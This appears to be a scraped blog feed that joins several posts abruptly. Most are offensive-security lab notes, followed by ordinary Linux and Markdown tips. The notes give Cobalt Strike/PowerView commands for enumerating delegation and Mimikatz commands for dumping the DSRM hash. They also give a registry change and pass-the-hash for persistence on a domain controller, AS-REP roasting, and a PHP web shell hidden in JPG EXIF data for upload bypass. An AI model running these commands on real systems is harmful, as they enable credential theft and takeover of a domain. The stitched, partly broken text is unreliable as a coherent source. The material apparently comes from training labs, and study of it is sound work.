i used VBox Manage to do this, which is included with Oracle Virtualbox installation.
Use VBoxManage to clone the HD to .vhd format:
.\VBoxManage.exe clonehd --format vhd "C:\path\from\Maldev-Academy-disk1.vmdk" "C:\path\to\MaldevDisk.vhd"
I then had to convert to .vhdx format:
Convert-VHD -Path C:\path\from\MaldevDisk.vhd -DestinationPath C:\path\to\MaldevDisk.vhdx
Then in Hyper-V just go to action > import virtual machine to import the .vhdx
Listing with PowerView:
# Load PowerView
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
# Get computer or user with constrained delegation
beacon> powershell Get-DomainUser –TrustedToAuth
beacon> powershell Get-DomainComputer –TrustedToAuth
beacon> powershell Get-DomainComputer –TrustedToAuth | select dnshostname
# interesting:
msds-allowedtodelegateto : {eventlog/dc-2.dev.cyberbotic.io/dev.cyberbotic
.io, eventlog/dc-2.dev.cyberbotic.io,
eventlog/DC-2,
eventlog/dc-2.dev.cyberbotic.io/DEV...}
MSDS-AllowedToDelegateTo This is an attribute on service account (computer or user account) objects. It contains a list of Service Principal Names (SPNs). This attribute is used to configure a service so that it can obtain service tickets that can be used for Constrained Delegation.
Cool, lets expand that attribute to see what we can access:
beacon> powershell get-domaincomputer -trustedtoauth | select -expandproperty MSDS-AllowedToDelegateTo
eventlog/dc-2.dev.cyberbotic.io/dev.cyberbotic.io
eventlog/dc-2.dev.cyberbotic.io
eventlog/DC-2
eventlog/dc-2.dev.cyberbotic.io/DEV
eventlog/DC-2/DEV
cifs/wkstn-2.dev.cyberbotic.io
cifs/WKSTN-2
We have eventlog on a few domain controllers, and CIFS on a workstation.
]]>CIFS CIFS (Common Internet File System) is a particular implementation of the Server Message Block protocol, created by Microsoft.
It’s pretty easy with ‘Invoke-Mimikatz.ps1’
Directory Services Restore Mode (aka DSRM), is a safe mode boot option for Windows Server domain controllers. This is a backdoor to the database for administrators to used to repair, recover, and restore an Active Directory database.
There is a local administrator on every DC called “Administrator” whose password is the DSRM password.
DSRM password (SafeModePassword) is required when a server is
promoted to Domain Controller and it is rarely changed.
After altering the configuration on the DC, it is possible to pass the
NTLM hash of this user to access the DC.
# Dump DSRM password (needs DA privs)
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc
RID : 000001f4 (500)
User : Administrator
NTLM : a102ad5753f4c441e3af31c97fad86fd
# Compare the Administrator hash with the Administrator hash of below command
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
RID : 000001f4 (500)
User : Administrator
NTLM : af0686cc0ca8f04df42210c9ac980760
The Logon Behavior for the DSRM account needs to be changed
before we can use its hash.
Enter-PSSession -Computername dcorp-dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'
Do Not Require Kerberos preauthentication enabled it is possible to grab user’s crackable AS-REP and brute-force it offline.
With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.
# Using PowerView (dev)
Get-DomainUser -PreauthNotRequired -Verbose
# Using ActiveDirectory module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
# Enumerate the permissions for RDPUsers on ACLs using PowerView(dev):
Invoke-ACLScanner -ResolveGUIDs |
?{$_.IdentityReferenceName -match "RDPUsers"}
Set-DomainObject -Identity TargetUser5 -XOR @{useraccountcontrol=4194304} –Verbose
https://github.com/HarmJ0y/ASREPRoast
# Using ASREPROAST
Get-ASREPHash -UserName VPN1user -Verbose
# To enumerate all users with Kerberos preauth disabled and request a hash
Invoke-ASREPRoast -Verbose
John could crack it though. What the heck?!
The hash was in this format:
$krb5asrep$svc_oracle@dev.cyberbotic.io:A20A58[...]
But it turns out the hash should have been like this, note the 23:
# 23 = rc4-hmac
$krb5asrep$23$svc_oracle@dev.cyberbotic.io:A20A58[...]
A Kerberos encryption type is a specific combination of a cipher algorithm with an integrity algorithm to provide both confidentiality and integrity to data.
Kerberos Encryption Types (etype) are defined in an IANA Registry at: Kerberos Encryption Type Numbers](https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1)
These are signed values ranging from -2147483648 to 2147483647.
Kerberos Encryption Types for Microsoft Windows are decided by the MsDS-SupportedEncryptionTypes values or the defaults if not set.
MsDS-SupportedEncryptionTypes values can be set from a Group Policy Object.
To improve interoperability with computers running older versions of Windows. A service should use the strongest enctype that both the service and the Key Distribution Center support.
Contemporary non-Windows implementations of the Kerberos protocol support:
Most implementations are deprecating DES encryption.
phtml, .php, .php3, .php4, .php5, and .inc
It might be possible to upload and execute a .php file simply by renaming it file.php.jpg or file.PHp.
Add a null byte at the end
cp payload.php payload.php%00.jpg
Put a payload inside a jpg file, into the exgif data. Most web servers scan the file, and when it scans the file it executes the php data in the exgif file.
Use exiftool
exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg
if ($adObject.objectClass -eq "group"){
}
if ($adObject.objectClass -eq "user"){
}
Check if multiple users returned from a get-aduser query:
if ($User -is [system.array]){
# Throw an error, multiple users returned
}
elseif ($User -is [Microsoft.ActiveDirectory.Management.ADAccount]){
# do something
}
The drives in one of my lab servers was full but I couldn’t figure out what was filling it up until I discovered du!
du,or “Disk Usage”, is a standard Linux/Unix command that reports on disk space used by the given files/directories.
It is great for finding files or directories consuming tons of disk space.
du?I like using du like this:
du -h --max-depth=1
-h,--human-readable
--max-depth=1
Results:
7.7M ./bin
0 ./boot
960K ./dev
1.6M ./etc
0 ./home
24M ./lib
0 ./lib64
0 ./media
0 ./mnt
2.1G ./opt
I then cd into the offending directory, ./opt in this case, and run the same command.
I continued like this until I find the root cause deleted it.
]]>Markdown is a lightweight markup language and uses a plain-text-formatting syntax. Markdown is often used to format readme files and can create rich text using a plain text editor.
Its design allows it to be converted to many output formats and I often convert markdown documentation to Word or PDF formats.
Packages extend Sublime Text’s functionality significantly and, with the help of Package Control, are very easy to install.
I use these packages to help me write markdown documentation:
Package Control makes it easy to find, install, and update packages in Sublime Text.
Install Package ControlMarkdown plugin for Sublime Text. Provides a decent Markdown color scheme (light and dark) with more robust syntax highlighting and useful Markdown editing features for Sublime Text.
https://github.com/SublimeText-Markdown/MarkdownEditing
install package and press Enter. A list of available packages will be displayed.MarkdownEditing and press Enter again.Preview and build your markdown files quickly in your web browser using Sublime Text 3
https://github.com/facelessuser/MarkdownPreview
install package and press Enter. A list of available packages will be displayed.MarkdownPreview and press Enter again.Markdown can be easily converted to other formats and I find this usesful for sharing documents with other users.
I use Pandoc which needs to be installed outside of Sublime. You can find the installation steps here:
https://pandoc.org/installing.html
Once installed you can add the Pandoc package to Sublime.
install package and press Enter. A list of available packages will be displayed.Pandoc and press Enter again.To use the Pandoc package:
Pandoc and press Enter.create partition
fdisk /dev/sda
command (m for help): n
command (m for help): p
First sector (93634560-314572799, default 93634560):
Last sector, +sectors or +size{K,M,G} (93634560-314572799, default 314572799):
Create a physical volume from the partition
lvm pvcreate /dev/sda3
My drive was too full to do the extension, so I deleted some old logs.
Extend vg
vgextend centos_centos7 /dev/sda3
The logical volume was too full, and the +100%FREE was not working
lvextend -An -r -L +10g /dev/centos_centos7/root
Once the LV was extended a bit I could extend the rest of the way
lvextend /dev/centos_centos7/root -l+100%FREE
Extend XFS
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/centos_centos7-root 23G 23G 20K 100% /
devtmpfs 4.8G 0 4.8G 0% /dev
tmpfs 4.9G 8.0K 4.9G 1% /dev/shm
tmpfs 4.9G 490M 4.4G 10% /run
tmpfs 4.9G 0 4.9G 0% /sys/fs/cgroup
/dev/sda1 1014M 147M 868M 15% /boot
overlay 23G 23G 20K 100% /var/lib/docker/overlay2/
100% full on overlay.
We need to extend the XFS file system
-n shows the xfs file data, and does not extend.
xfs_growfs -n /var/lib/docker/
meta-data=/dev/mapper/centos_centos7-root isize=512 agcount=8, agsize=798208 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=0 spinodes=0
data = bsize=4096 blocks=5814272, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0 ftype=1
log =internal bsize=4096 blocks=2560, version=2
= sectsz=512 sunit=0 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
no flag, extends, note the blocks changing.
xfs_growfs /var/lib/docker/
meta-data=/dev/mapper/centos_centos7-root isize=512 agcount=8, agsize=798208 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=0 spinodes=0
data = bsize=4096 blocks=5814272, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0 ftype=1
log =internal bsize=4096 blocks=2560, version=2
= sectsz=512 sunit=0 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
data blocks changed from 5814272 to 26784768
Check the use % change:
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/centos_centos7-root 103G 23G 80G 22% /
devtmpfs 4.8G 0 4.8G 0% /dev
tmpfs 4.9G 8.0K 4.9G 1% /dev/shm
tmpfs 4.9G 490M 4.4G 10% /run
tmpfs 4.9G 0 4.9G 0% /sys/fs/cgroup
/dev/sda1 1014M 147M 868M 15% /boot
overlay 103G 23G 80G 22% /var/lib/docker/overlay2/02bc5da772bd1b882950b843d7a235e873b59de343ee30bb2a71df4cb0a51b3b/merged
]]>Failed opening the RDB file dump.rdb (in server root dir /var/opt/gitlab/redis) for saving: No space left on device